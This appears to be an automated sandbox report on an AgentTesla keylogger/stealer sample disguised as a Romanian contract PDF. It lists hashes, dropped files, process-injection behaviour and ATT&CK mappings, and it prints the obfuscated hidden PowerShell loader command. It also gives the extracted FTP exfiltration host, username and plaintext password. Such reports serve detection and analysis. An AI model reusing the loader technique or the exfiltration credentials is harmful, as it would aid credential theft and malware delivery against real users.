agenttesla | 2dc56a2f3b12cbdb34a73d5d90e9759d48cc8eda0c8833cd64005559469a1058

General

Target

REVIZUIREA CONTRACTULUI-pdf.exe
Size

708KB
MD5

380787d6ecbcc6cd4dd23df9da174c35
SHA1

9298497f6ed0c8ab161a3c4a85c3a99b45613581
SHA256

2dc56a2f3b12cbdb34a73d5d90e9759d48cc8eda0c8833cd64005559469a1058
SHA512

8c75231ba6c44a946fabe2d12eb5e0980959a8cf4f9fabb6b6831c52d96b55d1d2cfd0ed84479b59192b3572a7a57888557311f6639c340d04fb4b24c235cb9b
SSDEEP

12288:vwFGHEXzSTDHfwvNJUcXGzJTaylgimtdYM3O0V7bbW:v5HEXzI0NNXoJThlgZtub0V7u

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.vvspijkenisse.nl
Port:
21
Username:
[email protected]
Password:
playingboyz231

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini	REVIZUIREA CONTRACTULUI-pdf.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2272	msbuild.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1704	powershell.exe
2272	msbuild.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1704 set thread context of 2272	1704	powershell.exe	33

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\integraltegnets\substrate.Ski	REVIZUIREA CONTRACTULUI-pdf.exe
File created	C:\Program Files (x86)\cockling.lnk	REVIZUIREA CONTRACTULUI-pdf.exe
File opened for modification	C:\Program Files (x86)\cockling.lnk	REVIZUIREA CONTRACTULUI-pdf.exe
File opened for modification	C:\Program Files (x86)\Kldebonnets.kod	REVIZUIREA CONTRACTULUI-pdf.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\bagvognen.lnk	REVIZUIREA CONTRACTULUI-pdf.exe
File created	C:\Windows\bagvognen.lnk	REVIZUIREA CONTRACTULUI-pdf.exe
File opened for modification	C:\Windows\Calottes.Doo	REVIZUIREA CONTRACTULUI-pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1704	powershell.exe
1704	powershell.exe
1704	powershell.exe
1704	powershell.exe
1704	powershell.exe
1704	powershell.exe
1704	powershell.exe
2272	msbuild.exe
2272	msbuild.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1704	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	2272	msbuild.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 1704	2876	REVIZUIREA CONTRACTULUI-pdf.exe	28
PID 2876 wrote to memory of 1704	2876	REVIZUIREA CONTRACTULUI-pdf.exe	28
PID 2876 wrote to memory of 1704	2876	REVIZUIREA CONTRACTULUI-pdf.exe	28
PID 2876 wrote to memory of 1704	2876	REVIZUIREA CONTRACTULUI-pdf.exe	28
PID 1704 wrote to memory of 2272	1704	powershell.exe	33
PID 1704 wrote to memory of 2272	1704	powershell.exe	33
PID 1704 wrote to memory of 2272	1704	powershell.exe	33
PID 1704 wrote to memory of 2272	1704	powershell.exe	33
PID 1704 wrote to memory of 2272	1704	powershell.exe	33
PID 1704 wrote to memory of 2272	1704	powershell.exe	33

C:\Users\Admin\AppData\Local\Temp\REVIZUIREA CONTRACTULUI-pdf.exe
"C:\Users\Admin\AppData\Local\Temp\REVIZUIREA CONTRACTULUI-pdf.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2876
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Calypso=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Beskyttelsesmidler\Unlighted\Splanchnographer.Kna';$Kalispel=$Calypso.SubString(53259,3);.$Kalispel($Calypso)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1704
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2272

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Rkkens.ini

Filesize
32B

MD5
a8ca1db6ae34f5e5c152094f44f92476

SHA1
9fe0fd4e6907c4f9099d2533c3bade4ffa0968e7

SHA256
1f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3

SHA512
e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Beskyttelsesmidler\Unlighted\Splanchnographer.Kna

Filesize
52KB

MD5
5d12c9d49bef39741a5077c2ea1a3118

SHA1
b6075ecd3a820510b37ca62f1d74d95f599c2fdc

SHA256
41b05b53faaef42cacc83c7c37c4e47bcf43eaef1fea8ef28b9d90a5bcb555b6

SHA512
27eae2e897e39de8b06a59454c8e49273386e066e5900d19f99b415ebbddc150e42794968774412c0f72bf5c6f0e1924469894ca013f6b98a081b411c8b1bf86

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Blancheredes\Dysadaptation\sophia.Non

Filesize
309KB

MD5
f5017cc8df8d48957ca45afacd609df3

SHA1
e769c4d4e9ab2101f6f088135efd580a9ef9e4da

SHA256
61c7f23798426b06bbfb489a893a89567db6c8c84700d69a14e410c4e52b4366

SHA512
d6215ee0dc6b3fc3e875c88dbf6c012cc17e20bd0812cfe8ab2f2b66cc3116a5705f25af99986d55fb10b198019452f6c9c4cae8996a76f2a52630efdab0083e

Download Submit
memory/1704-152-0x0000000002330000-0x0000000002370000-memory.dmp

Filesize
256KB

Download
memory/1704-155-0x0000000076EE0000-0x0000000077089000-memory.dmp

Filesize
1.7MB

Download
memory/1704-142-0x0000000073760000-0x0000000073D0B000-memory.dmp

Filesize
5.7MB

Download
memory/1704-144-0x0000000002330000-0x0000000002370000-memory.dmp

Filesize
256KB

Download
memory/1704-145-0x0000000002330000-0x0000000002370000-memory.dmp

Filesize
256KB

Download
memory/1704-150-0x0000000005000000-0x0000000005004000-memory.dmp

Filesize
16KB

Download
memory/1704-151-0x0000000073760000-0x0000000073D0B000-memory.dmp

Filesize
5.7MB

Download
memory/1704-146-0x0000000002330000-0x0000000002370000-memory.dmp

Filesize
256KB

Download
memory/1704-154-0x0000000006100000-0x0000000009A7B000-memory.dmp

Filesize
57.5MB

Download
memory/1704-143-0x0000000073760000-0x0000000073D0B000-memory.dmp

Filesize
5.7MB

Download
memory/1704-156-0x00000000770D0000-0x00000000771A6000-memory.dmp

Filesize
856KB

Download
memory/2272-157-0x0000000076EE0000-0x0000000077089000-memory.dmp

Filesize
1.7MB

Download
memory/2272-158-0x000000006F260000-0x00000000702C2000-memory.dmp

Filesize
16.4MB

Download
memory/2272-159-0x0000000001350000-0x0000000004CCB000-memory.dmp

Filesize
57.5MB

Download
memory/2272-160-0x000000006EB70000-0x000000006F25E000-memory.dmp

Filesize
6.9MB

Download
memory/2272-161-0x000000006F260000-0x000000006F2A0000-memory.dmp

Filesize
256KB

Download
memory/2272-165-0x000000006EB70000-0x000000006F25E000-memory.dmp

Filesize
6.9MB

Download

Analysis

Sharing